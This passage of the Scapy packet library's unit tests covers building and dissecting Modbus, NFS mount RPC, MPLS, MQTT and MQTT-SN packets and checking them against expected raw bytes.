ModbusPDU16MaskWriteRegisterResponse raw(ModbusPDU16MaskWriteRegisterResponse()) == b'\x16\x00\x00\xff\xff\x00\x00' = ModbusPDU16MaskWriteRegisterError raw(ModbusPDU16MaskWriteRegisterError()) == b'\x96\x01' # 0x17/0x97 Read/Write Multiple Registers ------------------------------------------- = ModbusPDU17ReadWriteMultipleRegistersRequest raw(ModbusPDU17ReadWriteMultipleRegistersRequest()) == b'\x17\x00\x00\x00\x01\x00\x00\x00\x01\x02\x00\x00' = ModbusPDU17ReadWriteMultipleRegistersRequest minimal parameters raw(ModbusPDU17ReadWriteMultipleRegistersRequest(writeRegistersValue=[0x0001, 0x0002])) == b'\x17\x00\x00\x00\x01\x00\x00\x00\x02\x04\x00\x01\x00\x02' = ModbusPDU17ReadWriteMultipleRegistersRequest dissection p = ModbusPDU17ReadWriteMultipleRegistersRequest(b'\x17\x00\x00\x00\x01\x00\x00\x00\x02\x04\x00\x01\x00\x02') assert p.byteCount == 4 assert p.writeQuantityRegisters == 2 = ModbusPDU17ReadWriteMultipleRegistersResponse raw(ModbusPDU17ReadWriteMultipleRegistersResponse()) == b'\x17\x02\x00\x00' = ModbusPDU17ReadWriteMultipleRegistersResponse minimal parameters raw(ModbusPDU17ReadWriteMultipleRegistersResponse(registerVal=[1,2,3])) == b'\x17\x06\x00\x01\x00\x02\x00\x03' = ModbusPDU17ReadWriteMultipleRegistersResponse dissection raw(ModbusPDU17ReadWriteMultipleRegistersResponse(b'\x17\x02\x00\x01')) == b'\x17\x02\x00\x01' = ModbusPDU17ReadWriteMultipleRegistersError raw(ModbusPDU17ReadWriteMultipleRegistersError()) == b'\x97\x01' # 0x18/0x88 Read FIFO Queue --------------------------------------------------------- = ModbusPDU18ReadFIFOQueueRequest raw(ModbusPDU18ReadFIFOQueueRequest()) == b'\x18\x00\x00' = ModbusPDU18ReadFIFOQueueResponse = ModbusPDU18ReadFIFOQueueResponse raw(ModbusPDU18ReadFIFOQueueResponse()) == b'\x18\x00\x02\x00\x00' = ModbusPDU18ReadFIFOQueueResponse minimal parameters raw(ModbusPDU18ReadFIFOQueueResponse(FIFOVal=[0x0001, 0x0002, 0x0003])) == b'\x18\x00\x08\x00\x03\x00\x01\x00\x02\x00\x03' = ModbusPDU18ReadFIFOQueueResponse dissection p = ModbusPDU18ReadFIFOQueueResponse(b'\x18\x00\x08\x00\x03\x00\x01\x00\x02\x00\x03') assert p.byteCount == 8 assert p.FIFOCount == 3 = ModbusPDU18ReadFIFOQueueError raw(ModbusPDU18ReadFIFOQueueError()) == b'\x98\x01' # 0x2b encapsulated Interface Transport --------------------------------------------- # 0x2b 0xOD CANopen General Reference (out of the main specification) --------------- # 0x2b 0xOE Read Device Information ------------------------------------------------- = ModbusPDU2B0EReadDeviceIdentificationRequest raw(ModbusPDU2B0EReadDeviceIdentificationRequest()) == b'+\x0e\x01\x00' = ModbusPDU2B0EReadDeviceIdentificationResponse raw(ModbusPDU2B0EReadDeviceIdentificationResponse()) == b'+\x0e\x04\x01\x00\x00\x00' = ModbusPDU2B0EReadDeviceIdentificationResponse complete response p = raw(ModbusPDU2B0EReadDeviceIdentificationResponse(objCount=2)/ModbusObjectId(id=0, value="Obj1")/ModbusObjectId(id=1, value="Obj2")) assert p == b'+\x0e\x04\x01\x00\x00\x02\x00\x04Obj1\x01\x04Obj2' = ModbusPDU2B0EReadDeviceIdentificationResponse dissection p = ModbusPDU2B0EReadDeviceIdentificationResponse(b'+\x0e\x01\x83\x00\x00\x03\x00\x08Pymodbus\x01\x02PM\x02\x031.0') assert p.payload.payload.payload.id == 2 assert p.payload.payload.id == 1 assert p.payload.id == 0 = ModbusPDU2B0EReadDeviceIdentificationError raw(ModbusPDU2B0EReadDeviceIdentificationError()) == b'\xab\x01' = Modbus test for payload subfield # GH4112 pkt = ModbusPDUUserDefinedFunctionCodeRequest(b'M\x00\x05\x00\n') pkt = next(iter(pkt)) assert pkt.mb_payload == b'\x00\x05\x00\n' ================================================ FILE: test/contrib/mount.uts ================================================ % Test mount layer #################### #################### + Packet Creation Tests = Create subpackets Path() File_Object() = Create Mount Calls NULL_Call() MOUNT_Call() UNMOUNT_Call() = Create Successful Mount Replies MOUNT_Reply(status=0) = Create Failed Mount Replies MOUNT_Reply(status=1) + RPC Layer bindings tests = Layer Bindings for Mount Calls from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Call()/NULL_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100005, 3, 0) pkt = RPC()/RPC_Call()/MOUNT_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100005, 3, 1) pkt = RPC()/RPC_Call()/UNMOUNT_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100005, 3, 3) = Layer Bindings for Mount Replies from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Reply()/NULL_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/MOUNT_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/UNMOUNT_Reply() assert pkt.mtype == 1 + Test Built Packets vs Raw Strings = Mount calls vs Raw strings pkt = MOUNT_Call( path=Path( length=4, path='path' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04path' pkt = UNMOUNT_Call( path=Path( length=4, path='path' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04path' = Mount replies vs Raw Strings pkt = MOUNT_Reply( status=0, filehandle=File_Object( length=4, fh='file' ), flavors=3, flavor=[ 0,0,0 ] ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ================================================ FILE: test/contrib/mpls.uts ================================================ # MPLS unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('mpls')" -t test/contrib/mpls.uts + MPLS = Build & dissect - IPv4 s = raw(Ether(src="00:01:02:04:05")/MPLS()/IP()) assert s == b'\xff\xff\xff\xff\xff\xff\x00\x01\x02\x04\x05\x00\x88G\x00\x00\x01\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01' p = Ether(s) assert MPLS in p and IP in p = Build & dissect - IPv6 s = raw(Ether(src="00:01:02:04:05")/MPLS(s=0)/MPLS()/IPv6()) assert s == b'\xff\xff\xff\xff\xff\xff\x00\x01\x02\x04\x05\x00\x88G\x00\x000\x00\x00\x00!\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' p = Ether(s) assert IPv6 in p and isinstance(p[MPLS].payload, MPLS) = Association on IP and IPv6 p = IP()/MPLS() p = IP(raw(p)) assert p[IP].proto == 137 p2 = IPv6()/MPLS() p2 = IPv6(raw(p2)) assert p2[IPv6].nh == 137 ================================================ FILE: test/contrib/mqtt.uts ================================================ # MQTT layer unit tests # Copyright (C) Santiago Hernandez Ramos # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('mqtt')" -t test/contrib/mqtt.uts + Syntax check = Import the MQTT layer from scapy.contrib.mqtt import * + MQTT protocol test = MQTTPublish, packet instantiation p = MQTT()/MQTTPublish(topic='test1',value='test2') assert p.type == 3 assert p.topic == b'test1' assert p.value == b'test2' assert p.len == None assert p.length == None = Fixed header and MQTTPublish, packet dissection s = b'0\n\x00\x04testtest' publish = MQTT(s) assert publish.type == 3 assert publish.QOS == 0 assert publish.DUP == 0 assert publish.RETAIN == 0 assert publish.len == 10 assert publish[MQTTPublish].length == 4 assert publish[MQTTPublish].topic == b'test' assert publish[MQTTPublish].value == b'test' = MQTTPublish topicC = "testtopic/command" p1 = MQTT( QOS=1 ) / MQTTPublish( topic=topicC, msgid=1234, value="msg1" ) p2 = MQTT( QOS=1 ) / MQTTPublish( topic=topicC, msgid=1235, value="msg2" ) p = MQTT(raw(p1 / p2)) assert p[1].msgid == 1234 = MQTTConnect, packet instantiation c = MQTT()/MQTTConnect(clientIdlen=5, clientId='newid') assert c.type == 1 assert c.clientId == b'newid' assert c.clientIdlen == 5 = MQTTConnect, packet dissection s = b'\x10\x1f\x00\x06MQIsdp\x03\x02\x00<\x00\x11mosqpub/1440-kali' connect = MQTT(s) assert connect.length == 6 assert connect.protoname == b'MQIsdp' assert connect.protolevel == 3 assert connect.usernameflag == 0 assert connect.passwordflag == 0 assert connect.willretainflag == 0 assert connect.willQOSflag == 0 assert connect.willflag == 0 assert connect.cleansess == 1 assert connect.reserved == 0 assert connect.klive == 60 assert connect.clientIdlen == 17 assert connect.clientId == b'mosqpub/1440-kali' = MQTTDisconnect mr = raw(MQTT()/MQTTDisconnect()) dc= MQTT(mr) assert dc.type == 14 =MQTTConnack, packet instantiation ck = MQTT()/MQTTConnack(sessPresentFlag=1,retcode=0) assert ck.type == 2 assert ck.sessPresentFlag == 1 assert ck.retcode == 0 = MQTTConnack, packet dissection s = b' \x02\x00\x00' connack = MQTT(s) assert connack.sessPresentFlag == 0 assert connack.retcode == 0 = MQTTSubscribe, packet instantiation sb = MQTT()/MQTTSubscribe(msgid=1, topics=[MQTTTopicQOS(topic='newtopic', QOS=1, length=0)]) assert sb.type == 8 assert sb.msgid == 1 assert sb.topics[0].topic == b'newtopic' assert sb.topics[0].length == 0 assert sb[MQTTSubscribe][MQTTTopicQOS].QOS == 1 = MQTTSubscribe, packet dissection s = b'\x82\t\x00\x01\x00\x04test\x01' subscribe = MQTT(s) assert subscribe.msgid == 1 assert subscribe.topics[0].length == 4 assert subscribe.topics[0].topic == b'test' assert subscribe.topics[0].QOS == 1 = MQTTSuback, packet instantiation sk = MQTT()/MQTTSuback(msgid=1, retcodes=[0]) assert sk.type == 9 assert sk.msgid == 1 assert sk.retcodes == [0] = MQTTSuback, packet dissection s = b'\x90\x03\x00\x01\x00' suback = MQTT(s) assert suback.msgid == 1 assert suback.retcodes == [0] s = b'\x90\x03\x00\x01\x00\x01' suback = MQTT(s) assert suback.msgid == 1 assert suback.retcodes == [0, 1] = MQTTUnsubscribe, packet instantiation unsb = MQTT()/MQTTUnsubscribe(msgid=1, topics=[MQTTTopic(topic='newtopic',length=0)]) assert unsb.type == 10 assert unsb.msgid == 1 assert unsb.topics[0].topic == b'newtopic' assert unsb.topics[0].length == 0 = MQTTUnsubscribe, packet dissection u = b'\xA2\x09\x00\x01\x00\x03\x61\x2F\x62' unsubscribe = MQTT(u) assert unsubscribe.msgid == 1 assert unsubscribe.topics[0].length == 3 assert unsubscribe.topics[0].topic == b'a/b' = MQTTUnsuback, packet instantiation unsk = MQTT()/MQTTUnsuback(msgid=1) assert unsk.type == 11 assert unsk.msgid == 1 = MQTTUnsuback, packet dissection u = b'\xb0\x02\x00\x01' unsuback = MQTT(u) assert unsuback.type == 11 assert unsuback.msgid == 1 = MQTTPubrec, packet instantiation pc = MQTT()/MQTTPubrec(msgid=1) assert pc.type == 5 assert pc.msgid == 1 = MQTTPubrec packet dissection s = b'P\x02\x00\x01' pubrec = MQTT(s) assert pubrec.msgid == 1 = MQTTPublish, long value p = MQTT()/MQTTPublish(topic='test1',value='a'*200) assert bytes(p) assert p.type == 3 assert p.topic == b'test1' assert p.value == b'a'*200 assert p.len == None assert p.length == None = MQTT without payload p = MQTT() assert bytes(p) == b'\x10\x00' = MQTT RandVariableFieldLen assert type(MQTT().fieldtype['len'].randval()) == RandVariableFieldLen assert type(MQTT().fieldtype['len'].randval() + 0) == int = MQTTUnsubscribe u = MQTT(b'\xA2\x0C\x00\x01\x00\x03\x61\x2F\x62\x00\x03\x63\x2F\x64') assert MQTTUnsubscribe in u and len(u.topics) == 2 and u.topics[1].topic == b"c/d" = MQTTSubscribe u = MQTT(b'\x82\x10\x00\x01\x00\x03\x61\x2F\x62\x02\x00\x03\x63\x2F\x64\x00') assert MQTTSubscribe in u and len(u.topics) == 2 and u.topics[1].topic == b"c/d" ================================================ FILE: test/contrib/mqttsn.uts ================================================ # MQTT-SN layer unit tests # Copyright (C) 2019 Martine Lenders # # This program is published under GPLv2 license # # Type the following command to start the test # $ test/run_tests -P "load_contrib('mqttsn')" -t test/contrib/mqttsn.uts + Syntax check = Import the MQTT-SN layer from scapy.contrib.mqttsn import * + MQTT-SN protocol test = MQTTSN + MQTTSNAdvertise, packet instantiation and len field adjust p = MQTTSN() / MQTTSNAdvertise(gw_id=142, duration=54403) assert p.len is None assert p.type == ADVERTISE assert p.gw_id == 142 assert p.duration == 54403 b = bytes(p) p = MQTTSN(b) assert p.len == 5 assert p.type == ADVERTISE assert p.gw_id == 142 assert p.duration == 54403 = MQTTSNAdvertise, packet dissection b = b"\x05\x00\x98\x2b\x9a" p = MQTTSN(b) assert p.len == 5 assert p.type == ADVERTISE assert p.gw_id == 0x98 assert p.duration == 0x2b9a = MQTTSNSearchGW, packet instantiation p = MQTTSN() / MQTTSNSearchGW(radius=175) assert p.len is None assert p.type == SEARCHGW assert p.radius == 175 = MQTTSNSearchGW, packet dissection b = b"\x03\x01\xcc" p = MQTTSN(b) assert p.len == 3 assert p.type == SEARCHGW assert p.radius == 0xcc = MQTTSNGwInfo, packet instantiation p = MQTTSN() / MQTTSNGwInfo(gw_id=135, gw_addr="test\0test") assert p.len is None assert p.type == GWINFO assert p.gw_id == 135 assert p.gw_addr == b"test\x00test" = MQTTSN + MQTTSNGwInfo, packet instantiation and len field adjust p = MQTTSN(len=7) / MQTTSNGwInfo(gw_id=7, gw_addr="test") / "xyz" assert p.len == 7 assert p.type == GWINFO assert p.gw_id == 7 assert p.gw_addr == b"test" assert p.load == b"xyz" b = bytes(p) p = MQTTSN(b) assert p.len == 7 assert p.type == GWINFO assert p.gw_id == 7 assert p.gw_addr == b"test" assert p.load == b"xyz" = MQTTSNGwInfo, packet dissection b = b"\x07\x02\x14testing" p = MQTTSN(b) assert p.len == 7 assert p.type == GWINFO assert p.gw_id == 0x14 assert p.gw_addr == b"test" assert p.load == b"ing" = MQTTSNGwInfo, packet dissection - invalid length b = b"\x01\x00\x01\x02\x14test" p = MQTTSN(b) print(type(p), repr(p)) assert p.len == 1 assert p.type == GWINFO assert p.gw_id == 0x14 assert p.gw_addr == b"" = MQTTSNConnect, packet instantiation p = MQTTSN() / MQTTSNConnect(duration=40666, client_id="test") assert p.len is None assert p.type == CONNECT assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.prot_id == 1 assert p.duration == 40666 assert p.client_id == b"test" = MQTTSNConnect, packet dissection b = b"\x0a\x04\x04\x1a\x77\x5btesting" p = MQTTSN(b) assert p.len == 10 assert p.type == CONNECT assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 1 assert p.tid_type == TID_NORMAL assert p.prot_id == 0x1a assert p.duration == 0x775b assert p.client_id == b"test" assert p.load == b"ing" = MQTTSNConnack, packet instantiation p = MQTTSN() / MQTTSNConnack() assert p.len is None assert p.type == CONNACK assert p.return_code == ACCEPTED = MQTTSNConnack, packet dissection b = b"\x03\x05\x02" p = MQTTSN(b) assert p.len == 3 assert p.type == CONNACK assert p.return_code == REJ_TID = MQTTSNWillTopicReq, packet instantiation p = MQTTSN() / MQTTSNWillTopicReq() assert p.len is None assert p.type == WILLTOPICREQ = MQTTSNWillTopicReq, packet dissection b = b"\x02\x06" p = MQTTSN(b) assert p.len == 2 assert p.type == WILLTOPICREQ = MQTTSNWillTopic, packet instantiation p = MQTTSN() / MQTTSNWillTopic(will_topic="/test") assert p.len is None assert p.type == WILLTOPIC assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.will_topic == b"/test" = MQTTSNWillTopic, packet dissection b = b"\x08\x07\x00/testing" p = MQTTSN(b) assert p.len == 8 assert p.type == WILLTOPIC assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.will_topic == b"/test" = MQTTSNWillMsgReq, packet instantiation p = MQTTSN() / MQTTSNWillMsgReq() assert p.len is None assert p.type == WILLMSGREQ = MQTTSNWillMsgReq, packet dissection b = b"\x02\x08" p = MQTTSN(b) assert p.len == 2 assert p.type == WILLMSGREQ = MQTTSNWillMsg, packet instantiation p = MQTTSN() / MQTTSNWillMsg(will_msg="test") assert p.len is None assert p.type == WILLMSG assert p.will_msg == b"test" = MQTTSNWillMsg, packet dissection b = b"\x06\x09testing" p = MQTTSN(b) assert p.len == 6 assert p.type == WILLMSG assert p.will_msg == b"test" assert p.load == b"ing" = MQTTSNRegister, packet instantiation p = MQTTSN() / MQTTSNRegister(mid=30533, topic_name="/test") assert p.len is None assert p.type == REGISTER assert p.tid == 0 assert p.mid == 30533 assert p.topic_name == b"/test" = MQTTSNRegister, packet dissection b = b"\x0b\x0a\0\0\x48\x8a/testing" p = MQTTSN(b) assert p.len == 11 assert p.type == REGISTER assert p.tid == 0 assert p.mid == 0x488a assert p.topic_name == b"/test" assert p.load == b"ing" = MQTTSNRegack, packet instantiation p = MQTTSN() / MQTTSNRegack(tid=61547, mid=8593, return_code=REJ_NOTSUP) assert p.len is None assert p.type == REGACK assert p.tid == 61547 assert p.mid == 8593 assert p.return_code == REJ_NOTSUP = MQTTSNRegack, packet dissection b = b"\x08\x0b\xc5\xe8\x31\x87\x01" p = MQTTSN(b) assert p.len == 8 assert p.type == REGACK assert p.tid == 0xc5e8 assert p.mid == 0x3187 assert p.return_code == REJ_CONJ = MQTTSNPublish, packet instantiation p = MQTTSN() / MQTTSNPublish(qos=QOS_1, tid=52032, mid=35252, data="Hello world!") assert p.len is None assert p.type == PUBLISH assert p.dup == 0 assert p.qos == QOS_1 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.tid == 52032 assert p.mid == 35252 assert p.data == b"Hello world!" = MQTTSNPublish, packet instantiation - long data p = MQTTSN() / MQTTSNPublish(qos=QOS_NEG1, tid=62839, mid=36181, data=726 * "X") assert p.len is None assert p.type == PUBLISH assert p.dup == 0 assert p.qos == QOS_NEG1 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.tid == 62839 assert p.mid == 36181 assert p.data == 726 * b"X" # Check if length field was constructed correctly b = bytes(p) assert b[:3] == b'\x01\x02\xdf' p = MQTTSN(b) assert p.len == 735 assert p.data == 726 * b"X" = MQTTSNPublish, packet dissection b = b"\x0b\x0c\x40\x19\x7f\x6a\x26testing" p = MQTTSN(b) assert p.len == 11 assert p.type == PUBLISH assert p.dup == 0 assert p.qos == QOS_2 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.tid == 0x197f assert p.mid == 0x6a26 assert p.data == b"test" assert p.load == b"ing" = MQTTSNPublish, packet dissection - long data b = b"\x01\x04\x64\x0c" + b"\x00\xb1\x39\xd7\x4a" + (1115 * b"X") p = MQTTSN(b) assert p.len == 0x0464 == (4 + 5 + 1115) assert p.type == PUBLISH assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.tid == 0xb139 assert p.mid == 0xd74a assert p.data == 1115 * b"X" = MQTTSNPuback, packet instantiation p = MQTTSN() / MQTTSNPuback(tid=27610, mid=30284, return_code=ACCEPTED) assert p.len is None assert p.type == PUBACK assert p.tid == 27610 assert p.mid == 30284 assert p.return_code == ACCEPTED = MQTTSNPuback, packet dissection b = b"\x08\x0d\x03\xda\x73\x9a\x02" p = MQTTSN(b) assert p.len == 8 assert p.type == PUBACK assert p.tid == 0x03da assert p.mid == 0x739a assert p.return_code == REJ_TID = MQTTSNPubcomp, packet instantiation p = MQTTSN() / MQTTSNPubcomp(mid=36193) assert p.len is None assert p.type == PUBCOMP assert p.mid == 36193 = MQTTSNPubcomp, packet dissection b = b"\x04\x0e\x26\xa2" p = MQTTSN(b) assert p.len == 4 assert p.type == PUBCOMP assert p.mid == 0x26a2 = MQTTSNPubrec, packet instantiation p = MQTTSN() / MQTTSNPubrec(mid=44837) assert p.len is None assert p.type == PUBREC assert p.mid == 44837 = MQTTSNPubrec, packet dissection b = b"\x04\x0f\x36\xc4" p = MQTTSN(b) assert p.len == 4 assert p.type == PUBREC assert p.mid == 0x36c4 = MQTTSNPubrel, packet instantiation p = MQTTSN() / MQTTSNPubrel(mid=42834) assert p.len is None assert p.type == PUBREL assert p.mid == 42834 = MQTTSNPubrel, packet dissection b = b"\x04\x10\x94\x0f" p = MQTTSN(b) assert p.len == 4 assert p.type == PUBREL assert p.mid == 0x940f = MQTTSNSubscribe, packet instantiation - topic name p = MQTTSN() / MQTTSNSubscribe(mid=63780, topic_name="/test") assert p.len is None assert p.type == SUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.topic_name == b"/test" assert p.short_topic is None assert p.tid is None = MQTTSNSubscribe, packet instantiation - predefined topic ID p = MQTTSN() / MQTTSNSubscribe(mid=63780, tid_type=TID_PREDEF, tid=1187) assert p.len is None assert p.type == SUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_PREDEF assert p.topic_name is None assert p.short_topic is None assert p.tid == 1187 = MQTTSNSubscribe, packet instantiation - short topic p = MQTTSN() / MQTTSNSubscribe(mid=63780, tid_type=TID_SHORT, short_topic="fx") assert p.len is None assert p.type == SUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_SHORT assert p.topic_name is None assert p.short_topic == b"fx" assert p.tid is None = MQTTSNSubscribe, packet dissection - topic name b = b"\x07\x12\x00\x66\x8a/t" p = MQTTSN(b) assert p.len == 7 assert p.type == SUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.mid == 0x668a assert p.topic_name == b"/t" assert p.short_topic is None assert p.tid is None = MQTTSNSubscribe, packet dissection - short topic b = b"\x07\x12\x01\x66\x8a/t" p = MQTTSN(b) assert p.len == 7 assert p.type == SUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_PREDEF assert p.mid == 0x668a assert p.topic_name is None assert p.short_topic is None assert p.tid == (ord("/") << 8 | ord("t")) == 12148 = MQTTSNSubscribe, packet dissection - predefined topic ID b = b"\x07\x12\x02\x66\x8a/t" p = MQTTSN(b) assert p.len == 7 assert p.type == SUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_SHORT assert p.mid == 0x668a assert p.topic_name is None assert p.short_topic == b"/t" assert p.tid is None = MQTTSNSuback, packet instantiation p = MQTTSN() / MQTTSNSuback(qos=QOS_0, tid=5496, mid=63108, return_code=REJ_TID) assert p.len is None assert p.type == SUBACK assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.tid == 5496 assert p.mid == 63108 assert p.return_code == REJ_TID = MQTTSNSuback, packet dissection b = b"\x08\x13\xa4\x93\x0b\x02\xc6\x00" p = MQTTSN(b) assert p.len == 8 assert p.type == SUBACK assert p.dup == 1 assert p.qos == QOS_1 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 1 assert p.tid_type == TID_NORMAL assert p.tid == 0x930b assert p.mid == 0x02c6 assert p.return_code == ACCEPTED = MQTTSNUnsubscribe, packet instantiation - topic name p = MQTTSN() / MQTTSNUnsubscribe(mid=63780, topic_name="/test") assert p.len is None assert p.type == UNSUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.topic_name == b"/test" assert p.short_topic is None assert p.tid is None = MQTTSNUnsubscribe, packet instantiation - predefined topic ID p = MQTTSN() / MQTTSNUnsubscribe(mid=63780, tid_type=TID_PREDEF, tid=1187) assert p.len is None assert p.type == UNSUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_PREDEF assert p.topic_name is None assert p.short_topic is None assert p.tid == 1187 = MQTTSNUnsubscribe, packet instantiation - short topic p = MQTTSN() / MQTTSNUnsubscribe(mid=63780, tid_type=TID_SHORT, short_topic="fx") assert p.len is None assert p.type == UNSUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_SHORT assert p.topic_name is None assert p.short_topic == b"fx" assert p.tid is None = MQTTSNUnsubscribe, packet dissection - topic name b = b"\x07\x14\x00\x66\x8a/t" p = MQTTSN(b) assert p.len == 7 assert p.type == UNSUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.mid == 0x668a assert p.topic_name == b"/t" assert p.short_topic is None assert p.tid is None = MQTTSNUnsubscribe, packet dissection - short topic b = b"\x07\x14\x01\x66\x8a/t" p = MQTTSN(b) assert p.len == 7 assert p.type == UNSUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_PREDEF assert p.mid == 0x668a assert p.topic_name is None assert p.short_topic is None assert p.tid == (ord("/") << 8 | ord("t")) == 12148 = MQTTSNUnsubscribe, packet dissection - predefined topic ID b = b"\x07\x14\x02\x66\x8a/t" p = MQTTSN(b) assert p.len == 7 assert p.type == UNSUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_SHORT assert p.mid == 0x668a assert p.topic_name is None assert p.short_topic == b"/t" assert p.tid is None = MQTTSNUnsuback, packet instantiation p = MQTTSN() / MQTTSNUnsuback(mid=44541) assert p.len is None assert p.type == UNSUBACK assert p.mid == 44541 = MQTTSNUnsuback, packet dissection b = b"\x08\x15\xcb\x3d" p = MQTTSN(b) assert p.len == 8 assert p.type == UNSUBACK assert p.mid == 0xcb3d = MQTTSNPingReq, packet instantiation - no client ID p = MQTTSN() / MQTTSNPingReq() assert p.len is None assert p.type == PINGREQ assert p.client_id == b"" = MQTTSNPingReq, packet instantiation - with client ID p = MQTTSN() / MQTTSNPingReq(client_id="test") assert p.len is None assert p.type == PINGREQ assert p.client_id == b"test" = MQTTSNPingReq, packet dissection b = b"\x07\x16hello" p = MQTTSN(b) assert p.len == 7 assert p.type == PINGREQ assert p.client_id == b"hello" = MQTTSNPingResp, packet instantiation p = MQTTSN() / MQTTSNPingResp() assert p.len is None assert p.type == PINGRESP = MQTTSNPingResp, packet dissection b = b"\x02\x17" p = MQTTSN(b) assert p.len == 2 assert p.type == PINGRESP = MQTTSNDisconnect, packet instantiation and len field adjust - w/o duration p = MQTTSN() / MQTTSNDisconnect() assert p.len is None assert p.type == DISCONNECT assert p.duration is None b = bytes(p) p = MQTTSN(b) assert p.len == 2 assert p.type == DISCONNECT = MQTTSNDisconnect, packet instantiation and len field adjust - w duration p = MQTTSN() / MQTTSNDisconnect(duration=19567) assert p.len is None assert p.type == DISCONNECT assert p.duration == 19567 b = bytes(p) p = MQTTSN(b) assert p.len == 4 assert p.type == DISCONNECT assert p.duration == 19567 = MQTTSNDisconnect, packet dissection - w/o duration b = b"\x02\x18" p = MQTTSN(b) assert p.len == 2 assert p.type == DISCONNECT = MQTTSNDisconnect, packet dissection - w duration b = b"\x04\x18\x03\x12" p = MQTTSN(b) assert p.len == 4 assert p.type == DISCONNECT assert p.duration == 0x0312 = MQTTSNWillTopicUpd, packet instantiation p = MQTTSN() / MQTTSNWillTopicUpd(will_topic="/test") assert p.len is None assert p.type == WILLTOPICUPD assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.will_topic == b"/test" = MQTTSNWillTopicUpd, packet dissection b = b"\x08\x1a\x00/testing" p = MQTTSN(b) assert p.len == 8 assert p.type == WILLTOPICUPD assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.will_topic == b"/test" = MQTTSNWillTopicResp, packet instantiation p = MQTTSN() / MQTTSNWillTopicResp() assert p.len is None assert p.type == WILLTOPICRESP assert p.return_code == ACCEPTED = MQTTSNWillTopicResp, packet dissection b = b"\x03\x1b\x02" p = MQTTSN(b) assert p.len == 3 assert p.type == WILLTOPICRESP assert p.return_code == REJ_TID = MQTTSNWillMsgUpd, packet instantiation p = MQTTSN() / MQTTSNWillMsgUpd(will_msg="test") assert p.len is None assert p.type == WILLMSGUPD assert p.will_msg == b"test" = MQTTSNWillMsgUpd, packet dissection b = b"\x06\x1ctesting" p = MQTTSN(b) assert p.len == 6 assert p.type == WILLMSGUPD assert p.will_msg == b"test" assert p.load == b"ing" = MQTTSNWillMsgResp, packet instantiation p = MQTTSN() / MQTTSNWillMsgResp() assert p.len is None assert p.type == WILLMSGRESP assert p.return_code == ACCEPTED = 